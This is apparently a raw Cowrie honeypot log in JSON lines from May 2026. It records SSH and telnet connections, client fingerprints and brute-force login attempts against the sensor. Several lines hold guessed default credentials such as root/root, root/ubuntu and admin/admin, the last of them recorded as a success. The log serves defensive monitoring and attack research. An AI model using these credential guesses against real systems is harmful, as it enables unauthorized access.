{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:d5:6e:9a:4b:e6:73:85:6a:ab:a9:1d:84:0a:de:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgcmUsiN+/7p3pqybwHZf9fN2+xYpSYHI5xvG36Rb41yPwbS6/w1I439hmACWbA/Ho3JhK4brg38q1u7h6OrAR7+FYq6nfP1JivH3M/EtwQVyRsdmyJr1VyoPTJ8LeAr8Nk3LuYcjFDW6quzHahplbhgWupfbHsr3dV8m2fZEa9QFwYFdG80URidJfzA4j9A2VB9mNVWO4aZ1eUi1O+FsC66+p/2U+TgVRUZlBjgdAcB7E4nQMZdsUdj/08rs7Eiihg84kQ/cM2jMCd/rbv80tjHywy5yjkKM1bgPyR6OZN6UJ18QwTo9pvPUBFDx1qJDk7EHmhXiNs3K5R5GgtpIDjugjWJrcfl+pzbETc1ANxnYgc53g6yV2QXyNyYLTvUiIYxJYBXIA7KCqn0FNVkH4tt0lBF4tDIIR3GVEjOw7Y00+VrpQGRIg1Md+E82ZzzS25wXghgf2g1MJn36rG1H3VZmJd7CQ+NgEpBtWjoKS4F/fN2PiHPnGVhaB4HMKlk269f+N0+EnrSQljrIp0AhUlmV/ODIMOmPk3lzYO6v7QKpiNLSqI1UjQmie+8PCMa12HFXwm9+hCTzJiFXuLzfVkQ87fbJMdd5Hac1K1kNc3UGnB6DqxhNlR1Se8KeFNc1yrh12dm4LaYqXH1gCg9iOYA3yVZrY7Dy7xQi1z3AcZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.902946Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:53:13:a5:dd:87:3a:78:8f:16:f5:2d:3c:15:fe:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFIf1RJsgDOaw+19s/f0kGpof32XPln+z8zaz4UB5hsVm0tzc9R5tdUv3GPrU8IreFHqM+Y6SDqztKJspTVuFF3ReiawbSX9A6gaJ/LLMe01r43ok5CsVUnOrRSoUmMFFHy6qvNGYwqn1LNs6N3YnslNIOLNdlFaURrW/ELxE2bWPEbXbWKXESQ/9kOz098+Px+nVtNJ+iP/yz+Os6qa4cDv7k1MYSGLwbW89XiD6mOs2KUoWfQy2qeo2ajxkATjRKOj4WUPsUMgdNPDbQ+T03/BX0Z37M+6zyNy7OcXAjxOCecBpIasiktYlTwV1YyyEg0ZD571qc4dm4xC9jehvD6gJ8YH4jIwsw/5PIOuM/SxJ5gxuxvft5cGP31YrqJhu4nx0LJK4RIkbTvWLos8SuLYQIww7WCm8DzLJXomqW2Vg8mA1rpWKGf28EERyKSbhptGK0kT7F8ac69bEnprSq4N0g7XSe3MOrFoBEYxvRgsZA2i5RnZA4ot4cY58fR8Zvyf4KflcnjnhCRtWfpL71qR5iC8fXmq8Cnt+pL/FfM/VWstzDcwYekVUOSpCp0fQhwMh7QhJU8/DJIJTKWHBUwWeJGhAnGxAuF0cgh8RTjJ69Npj+rYfVI2MQdKGpTrv4Q7x1RKVXX8wgB1xm03lmaJg6+iQb+marc2xFbZ4ChQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:53:13:a5:dd:87:3a:78:8f:16:f5:2d:3c:15:fe:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.915004Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:53:13:a5:dd:87:3a:78:8f:16:f5:2d:3c:15:fe:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFIf1RJsgDOaw+19s/f0kGpof32XPln+z8zaz4UB5hsVm0tzc9R5tdUv3GPrU8IreFHqM+Y6SDqztKJspTVuFF3ReiawbSX9A6gaJ/LLMe01r43ok5CsVUnOrRSoUmMFFHy6qvNGYwqn1LNs6N3YnslNIOLNdlFaURrW/ELxE2bWPEbXbWKXESQ/9kOz098+Px+nVtNJ+iP/yz+Os6qa4cDv7k1MYSGLwbW89XiD6mOs2KUoWfQy2qeo2ajxkATjRKOj4WUPsUMgdNPDbQ+T03/BX0Z37M+6zyNy7OcXAjxOCecBpIasiktYlTwV1YyyEg0ZD571qc4dm4xC9jehvD6gJ8YH4jIwsw/5PIOuM/SxJ5gxuxvft5cGP31YrqJhu4nx0LJK4RIkbTvWLos8SuLYQIww7WCm8DzLJXomqW2Vg8mA1rpWKGf28EERyKSbhptGK0kT7F8ac69bEnprSq4N0g7XSe3MOrFoBEYxvRgsZA2i5RnZA4ot4cY58fR8Zvyf4KflcnjnhCRtWfpL71qR5iC8fXmq8Cnt+pL/FfM/VWstzDcwYekVUOSpCp0fQhwMh7QhJU8/DJIJTKWHBUwWeJGhAnGxAuF0cgh8RTjJ69Npj+rYfVI2MQdKGpTrv4Q7x1RKVXX8wgB1xm03lmaJg6+iQb+marc2xFbZ4ChQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.918314Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:46:81:0d:81:e7:fe:c7:4d:43:a2:d6:e9:a8:d9:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVUm3d2dynAvjHJg3vPmgX3SADF5qGisN5+NRb9VpFwUb2oCl/AymQ/HK5+97nyO8SO4UO4IHuGzFcLxIE/OpDrl3rlpxk9+03+DNTPYn6Fvx0s0okM73gPuxPQ9yg8gJuxP4qa1kb64YKaMZNDskWts0fNrcBk21fcO+xYXVMKQ0DAPVYEHEn/zXumq3u9cR0yrfPqjI7McPMPwyCmHay32XPIEqyfhHWzDQ/2QhwxXdLku+0GLhLmsIuyCcKLC3VKbQ4PgzQiQbQseXBuaG2IcUjJRUt7HSS2ylmzDCLCEKlqXropFZ27u5BwcNsi5g4QLHwiSoPfdKLWgBL5ibv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:46:81:0d:81:e7:fe:c7:4d:43:a2:d6:e9:a8:d9:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.928307Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:46:81:0d:81:e7:fe:c7:4d:43:a2:d6:e9:a8:d9:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVUm3d2dynAvjHJg3vPmgX3SADF5qGisN5+NRb9VpFwUb2oCl/AymQ/HK5+97nyO8SO4UO4IHuGzFcLxIE/OpDrl3rlpxk9+03+DNTPYn6Fvx0s0okM73gPuxPQ9yg8gJuxP4qa1kb64YKaMZNDskWts0fNrcBk21fcO+xYXVMKQ0DAPVYEHEn/zXumq3u9cR0yrfPqjI7McPMPwyCmHay32XPIEqyfhHWzDQ/2QhwxXdLku+0GLhLmsIuyCcKLC3VKbQ4PgzQiQbQseXBuaG2IcUjJRUt7HSS2ylmzDCLCEKlqXropFZ27u5BwcNsi5g4QLHwiSoPfdKLWgBL5ibv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.932045Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.942712Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.06080675125122,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:44.413697Z","src_ip":"135.148.33.91","session":"cfef10639824","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51554,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3044e1c1e9c","protocol":"telnet","message":"New connection: 135.148.33.91:51554 (159.203.135.109:23) [session: d3044e1c1e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:45.022639Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51828,"dst_ip":"159.203.135.109","dst_port":23,"session":"28b82747897d","protocol":"telnet","message":"New connection: 135.148.33.91:51828 (159.203.135.109:23) [session: 28b82747897d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:45.546425Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52294,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae177103e5e6","protocol":"telnet","message":"New connection: 135.148.33.91:52294 (159.203.135.109:23) [session: ae177103e5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:46.519565Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":62390,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef38ea3899db","protocol":"ssh","message":"New connection: 193.46.255.86:62390 (10.17.0.5:22) [session: ef38ea3899db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:13.405047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:13.409922Z","src_ip":"193.46.255.86","session":"ef38ea3899db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:13.536391Z","src_ip":"193.46.255.86","session":"ef38ea3899db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:14.113188Z","src_ip":"193.46.255.86","session":"ef38ea3899db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username1","message":"login attempt [username/username1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:15.242403Z","src_ip":"193.46.255.86","session":"ef38ea3899db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abc123","message":"login attempt [username/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:16.372347Z","src_ip":"193.46.255.86","session":"ef38ea3899db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abcd123","message":"login attempt [username/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:17.502581Z","src_ip":"193.46.255.86","session":"ef38ea3899db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abcd1234","message":"login attempt [username/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:18.640852Z","src_ip":"193.46.255.86","session":"ef38ea3899db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:19.771269Z","src_ip":"193.46.255.86","session":"ef38ea3899db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.256978273391724,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:19.803292Z","src_ip":"135.148.33.91","session":"28b82747897d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.89743399620056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:23.416894Z","src_ip":"135.148.33.91","session":"ae177103e5e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.86220836639404,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:24.884728Z","src_ip":"135.148.33.91","session":"d3044e1c1e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.253.5.130","src_port":54750,"dst_ip":"10.17.0.5","dst_port":23,"session":"da54e9b27922","protocol":"telnet","message":"New connection: 47.253.5.130:54750 (10.17.0.5:23) [session: da54e9b27922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:25.454651Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50032,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e5b81fe1b77","protocol":"telnet","message":"New connection: 135.148.33.91:50032 (159.203.135.109:23) [session: 9e5b81fe1b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:25:34.917035Z"}
{"eventid":"cowrie.session.closed","duration":32.392871618270874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:26:07.309782Z","src_ip":"135.148.33.91","session":"9e5b81fe1b77","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:26:25.502523Z","src_ip":"47.253.5.130","session":"da54e9b27922","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:26:25.553545Z","src_ip":"47.253.5.130","session":"da54e9b27922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.123.40.187","src_port":45575,"dst_ip":"10.17.0.5","dst_port":23,"session":"42fba41fed85","protocol":"telnet","message":"New connection: 41.123.40.187:45575 (10.17.0.5:23) [session: 42fba41fed85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:27:34.055936Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42144,"dst_ip":"159.203.135.109","dst_port":23,"session":"085acb71cc5c","protocol":"telnet","message":"New connection: 135.148.33.91:42144 (159.203.135.109:23) [session: 085acb71cc5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:27:43.192594Z"}
{"eventid":"cowrie.session.closed","duration":13.161351203918457,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:27:47.217080Z","src_ip":"41.123.40.187","session":"42fba41fed85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.830007553100586,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:17.022445Z","src_ip":"135.148.33.91","session":"085acb71cc5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.0.111.206","src_port":42622,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13ab4fbac3b","protocol":"telnet","message":"New connection: 188.0.111.206:42622 (159.203.135.109:23) [session: b13ab4fbac3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:21.597612Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b507f0fda1c5","protocol":"telnet","message":"New connection: 135.148.33.91:39434 (159.203.135.109:23) [session: b507f0fda1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:27.776834Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41452,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6877b24ed30","protocol":"telnet","message":"New connection: 135.148.33.91:41452 (159.203.135.109:23) [session: c6877b24ed30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:30.349633Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":50160,"dst_ip":"10.17.0.5","dst_port":22,"session":"1de37c97335b","protocol":"ssh","message":"New connection: 31.57.216.23:50160 (10.17.0.5:22) [session: 1de37c97335b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:30.912509Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:30.918003Z","src_ip":"31.57.216.23","session":"1de37c97335b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":50166,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9e069d20ab","protocol":"ssh","message":"New connection: 31.57.216.23:50166 (10.17.0.5:22) [session: 9b9e069d20ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:31.051726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:31.056548Z","src_ip":"31.57.216.23","session":"9b9e069d20ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:31.160061Z","src_ip":"31.57.216.23","session":"9b9e069d20ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:31.508977Z","src_ip":"31.57.216.23","session":"9b9e069d20ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:32.624618Z","src_ip":"31.57.216.23","session":"9b9e069d20ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.339913129806519,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:34.937395Z","src_ip":"188.0.111.206","session":"b13ab4fbac3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46762,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34383e39dc5","protocol":"telnet","message":"New connection: 135.148.33.91:46762 (159.203.135.109:23) [session: a34383e39dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:39.316471Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.189.218.126","src_port":51756,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd0e3eba6619","protocol":"ssh","message":"New connection: 220.189.218.126:51756 (10.17.0.5:22) [session: dd0e3eba6619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:48.599872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:48.605561Z","src_ip":"220.189.218.126","session":"dd0e3eba6619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:48.811462Z","src_ip":"220.189.218.126","session":"dd0e3eba6619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:49.446746Z","src_ip":"220.189.218.126","session":"dd0e3eba6619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:28:50.656569Z","src_ip":"220.189.218.126","session":"dd0e3eba6619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.551971197128296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:29:01.328704Z","src_ip":"135.148.33.91","session":"b507f0fda1c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.231261014938354,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:29:06.580796Z","src_ip":"135.148.33.91","session":"c6877b24ed30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.63831377029419,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:29:15.954667Z","src_ip":"135.148.33.91","session":"a34383e39dc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":55310,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f2438494b6","protocol":"ssh","message":"New connection: 2.57.121.25:55310 (10.17.0.5:22) [session: a6f2438494b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:14.565817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:14.575175Z","src_ip":"2.57.121.25","session":"a6f2438494b6","protocol":"ssh"}
